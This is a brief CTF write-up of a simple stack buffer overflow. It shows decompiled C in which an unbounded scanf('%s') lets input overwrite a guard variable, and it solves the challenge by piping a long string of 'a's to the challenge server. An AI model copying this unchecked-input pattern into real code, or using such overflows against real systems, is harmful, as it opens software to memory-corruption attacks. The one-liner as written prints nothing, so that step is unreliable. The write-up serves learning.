100 WCSCCTF Too Easy

This one as the name suggests, was incredibly easy and honestly probably worth too many points, but here's a writeup regardless.

So we are given a binary tooEasy and was told that
| Challenge by: nullp0inter | This one is almost too easy, get the flag! | nc wcscctf.org 8383

Opening up the binary in ida we see two functions of note, main and det, generated c code at the bottom of this post.

In main buffer is allocated to 0x424 (or (1060)₁₀ in decimal)

The variable (not originally named this) called overWriteThisSheet is allocated right after buffer.
overWriteThisSheet = 56797; happens in main.

Now looking at det we see that overWriteThisShit is passed to the function and has a simple check to see if it is the originally set value, 56797.

So even though the python script to run this like a normal exploit, it would be easier to just use python -c '"a"*1070' and pipe the output to nc wcscctf.org 8383

int  main(int argc, const char **argv, const char **envp)  
{
  char buffer; // [sp+4h] [bp-424h]
  int overWriteThisSheet; // [sp+41Ch] [bp-Ch]

  overWriteThisSheet = 56797;
  __isoc99_scanf("%s", &buffer);
  det(overWriteThisSheet);
  return 1;
}

void det(int overWriteThisSheet)  
{
  char buf; // [sp+Ch] [bp-8Ch]@2
  int fd; // [sp+8Ch] [bp-Ch]@2

  if ( overWriteThisSheet != 56797 )
  {
    puts("GZ, you win!");
    fd = open("./flag.txt", 0);
    read(fd, &buf, 0x80u);
    printf("%s", &buf);
    exit(0);
  }
}